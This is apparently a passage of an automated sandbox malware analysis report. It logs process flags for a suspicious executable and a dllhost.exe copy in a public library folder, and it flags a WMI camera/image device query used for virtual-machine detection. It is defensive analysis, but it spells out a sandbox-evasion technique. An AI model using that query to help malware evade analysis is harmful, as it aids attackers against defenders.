                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                              Malware Analysis System Evasion

                              barindex
                              Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
